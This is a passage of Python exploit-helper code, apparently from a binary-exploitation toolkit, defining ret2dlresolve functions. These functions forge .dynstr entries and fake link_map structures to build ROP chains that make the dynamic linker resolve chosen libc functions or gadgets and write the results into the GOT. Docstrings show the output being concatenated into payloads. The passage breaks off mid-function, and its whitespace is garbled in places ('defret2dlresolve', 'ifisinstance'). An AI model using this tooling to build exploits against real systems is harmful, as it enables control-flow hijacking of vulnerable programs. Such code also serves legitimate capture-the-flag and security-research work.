defret2dlresolve(elf, fake_data_addr, got_func, target_func) -> tuple[bytes, bytes]: r""" Ret2dlresolve without constructing fake linkmap. Arguments: elf(ELF): The ELF object of the binary fake_data_addr(int): Address where the fake data will be placed got_func(str): Name of the function to be replaced target_func(str): Name of the target function to be resolved Returns: tuple[bytes,bytes]: dlresolve_rop(bytes): The ROP chain to invoke the dynamic linker resolver(0x18) fake_data(bytes): The constructed fake data as bytes(0x50) Example: >>> plt0 = elf.get_section_by_name(".plt").header.sh_addr >>> dlresolve_rop, fake_data = ret2dlresolve(elf, fake_data_addr, 'setvbuf', 'puts') >>> payload = dlresolve_rop + other_gadgets + fake_data """ # construct fake .dynstr entry dyn_str = elf.get_section_by_name(".dynstr").header.sh_addr fake_dyn_str_entry_addr = fake_data_addr fake_dyn_str_entry_offset = fake_dyn_str_entry_addr - dyn_str fake_dyn_str_entry = target_func.encode() + b'\0'
defret2dlresolve_linkmap(elf, libc_elf, fake_linkmap_addr, got_func, target_func, write_back=True, write_addr=0) -> tuple[bytes, bytes]: r""" Ret2dlresolve with constructing fake linkmap. Arguments: elf(ELF): The ELF object of the binary libc_elf(ELF): The ELF object of the libc fake_linkmap_addr(int): Address where the fake link map will be placed got_func(str): Name of the function to be used/replaced target_func(str/list): Name of the target function or the list of target gadgets to be resolved write_back(bool): Whether to write back to the GOT entry write_addr(int): Other address to write the resolved address if write_back is False, 0 for ignored Returns: tuple[bytes,bytes]: dlresolve_rop(bytes): The ROP chain to invoke the dynamic linker resolver(0x18) fake_linkmap(bytes): The constructed fake linkmap as bytes(0x100) Example: >>> plt0 = elf.get_section_by_name(".plt").header.sh_addr >>> dlresolve_rop, fake_linkmap = ret2dlresolve_linkmap(elf, libc_elf, linkmap_addr, 'read', 'puts') >>> payload = dlresolve_rop + other_gadgets + fake_linkmap >>> ... >>> dlresolve_rop, fake_linkmap = ret2dlresolve_linkmap(elf, libc_elf, linkmap_addr, 'read', ["pop rdi", "ret"], write_back=False) """ # get the address in got_addr, add the offset, jump to the result address, and write it back to got_addr if write_back is True # Actually, the got_addr can be any addr contains the libc address # Change the got_addr to get any address you want # Change the write_back_addr to to write the resolved address to anywhere you want got_addr = elf.got[got_func] got_func_offset = libc_elf.symbols[got_func] target_func_offset = target_func ifisinstance(target_func, int) else (libc_elf.symbols[target_func] ifisinstance(target_func, str) else ROP(libc_elf).find_gadget(target_func).address)
DT_STRTAB = 5 DT_SYMTAB = 6 DT_JMPREL = 23
# construct fake linkmap l_addr = target_func_offset - got_func_offset l_addr &= 0xFFFFFFFFFFFFFFFF fake_linkmap = p64(l_addr) # l_addr, both the resolved address and the write back address will add this offset fake_linkmap += p64(0) # l_name